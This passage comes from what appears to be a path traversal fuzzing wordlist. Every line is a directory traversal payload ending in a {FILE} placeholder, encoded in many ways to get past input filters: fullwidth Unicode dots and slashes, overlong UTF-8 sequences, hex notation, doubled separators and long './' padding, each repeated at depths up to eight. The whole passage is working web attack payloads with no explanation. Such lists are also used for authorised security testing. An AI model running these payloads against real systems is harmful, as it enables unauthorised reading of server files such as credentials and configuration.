ff0e/{FILE}\r\n%uff0e%uff0e%u2215{FILE}\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}\r\n%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215%uff0e%uff0e%u2215{FILE}\r\n..%u2216{FILE}\r\n..%u2216..%u2216{FILE}\r\n..%u2216..%u2216..%u2216{FILE}\r\n..%u2216..%u2216..%u2216..%u2216{FILE}\r\n..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}\r\n..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216..%u2216{FILE}\r\n..%uEFC8{FILE}\r\n..%uEFC8..%uEFC8{FILE}\r\n..%uEFC8..%uEFC8..%uEFC8{FILE}\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}\r\n..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8..%uEFC8{FILE}\r\n..%uF025{FILE}\r\n..%uF025..%uF025{FILE}\r\n..%uF025..%uF025..%uF025{FILE}\r\n..%uF025..%uF025..%uF025..%uF025{FILE}\r\n..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}\r\n..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025..%uF025{FILE}\r\n%uff0e%uff0e\\{FILE}\r\n%uff0e%uff0e\\%uff0e%uff0e\\{FILE}\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}\r\n%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\%uff0e%uff0e\\{FILE}\r\n%uff0e%uff0e%u2216{FILE}\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}\r\n%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216%uff0e%uff0e%u2216{FILE}\r\n..0x2f{FILE}\r\n..0x2f..0x2f{FILE}\r\n..0x2f..0x2f..0x2f{FILE}\r\n..0x2f..0x2f..0x2f..0x2f{FILE}\r\n..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}\r\n..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}\r\n0x2e0x2e/{FILE}\r\n0x2e0x2e/0x2e0x2e/{FILE}\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}\r\n0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}\r\n0x2e0x2e0x2f{FILE}\r\n0x2e0x2e0x2f0x2e0x2e0x2f{FILE}\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}\r\n0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}\r\n..0x5c{FILE}\r\n..0x5c..0x5c{FILE}\r\n..0x5c..0x5c..0x5c{FILE}\r\n..0x5c..0x5c..0x5c..0x5c{FILE}\r\n..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}\r\n..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}\r\n0x2e0x2e\\{FILE}\r\n0x2e0x2e\\0x2e0x2e\\{FILE}\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}\r\n0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\0x2e0x2e\\{FILE}\r\n0x2e0x2e0x5c{FILE}\r\n0x2e0x2e0x5c0x2e0x2e0x5c{FILE}\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}\r\n0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}\r\n..%c0%2f{FILE}\r\n..%c0%2f..%c0%2f{FILE}\r\n..%c0%2f..%c0%2f..%c0%2f{FILE}\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}\r\n..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}\r\n%c0%2e%c0%2e/{FILE}\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}\r\n%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}\r\n%c0%2e%c0%2e%c0%2f{FILE}\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}\r\n..%c0%5c{FILE}\r\n..%c0%5c..%c0%5c{FILE}\r\n..%c0%5c..%c0%5c..%c0%5c{FILE}\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}\r\n%c0%2e%c0%2e\\{FILE}\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\{FILE}\r\n%c0%2e%c0%2e%c0%5c{FILE}\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}\r\n///%2e%2e%2f{FILE}\r\n///%2e%2e%2f%2e%2e%2f{FILE}\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}\r\n\\\\\\%2e%2e%5c{FILE}\r\n\\\\\\%2e%2e%5c%2e%2e%5c{FILE}\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}\r\n..//{FILE}\r\n..//..//{FILE}\r\n..//..//..//{FILE}\r\n..//..//..//..//{FILE}\r\n..//..//..//..//..//{FILE}\r\n..//..//..//..//..//..//{FILE}\r\n..//..//..//..//..//..//..//{FILE}\r\n..//..//..//..//..//..//..//..//{FILE}\r\n..///{FILE}\r\n..///..///{FILE}\r\n..///..///..///{FILE}\r\n..///..///..///..///{FILE}\r\n..///..///..///..///..///{FILE}\r\n..///..///..///..///..///..///{FILE}\r\n..///..///..///..///..///..///..///{FILE}\r\n..///..///..///..///..///..///..///..///{FILE}\r\n..\\\\{FILE}\r\n..\\\\..\\\\{FILE}\r\n..\\\\..\\\\..\\\\{FILE}\r\n..\\\\..\\\\..\\\\..\\\\{FILE}\r\n..\\\\..\\\\..\\\\..\\\\..\\\\{FILE}\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\{FILE}\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\{FILE}\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\{FILE}\r\n..\\\\\\{FILE}\r\n..\\\\\\..\\\\\\{FILE}\r\n..\\\\\\..\\\\\\..\\\\\\{FILE}\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\{FILE}\r\n./\\/./{FILE}\r\n./\\/././\\/./{FILE}\r\n./\\/././\\/././\\/./{FILE}\r\n./\\/././\\/././\\/././\\/./{FILE}\r\n./\\/././\\/././\\/././\\/././\\/./{FILE}\r\n./\\/././\\/././\\/././\\/././\\/././\\/./{FILE}\r\n./\\/././\\/././\\/././\\/././\\/././\\/././\\/./{FILE}\r\n./\\/././\\/././\\/././\\/././\\/././\\/././\\/././\\/./{FILE}\r\n.\\/\\.\\{FILE}\r\n.\\/\\.\\.\\/\\.\\{FILE}\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\{FILE}\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\{FILE}\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\{FILE}\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\{FILE}\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\{FILE}\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\{FILE}\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\{FILE}\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\..\\{FILE}\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\..\\..\\{FILE}\r\n./../{FILE}\r\n./.././../{FILE}\r\n./.././.././../{FILE}\r\n./.././.././.././../{FILE}\r\n./.././.././.././.././../{FILE}\r\n./.././.././.././.././.././../{FILE}\r\n./.././.././.././.././.././.././../{FILE}\r\n./.././.././.././.././.././.././.././../{FI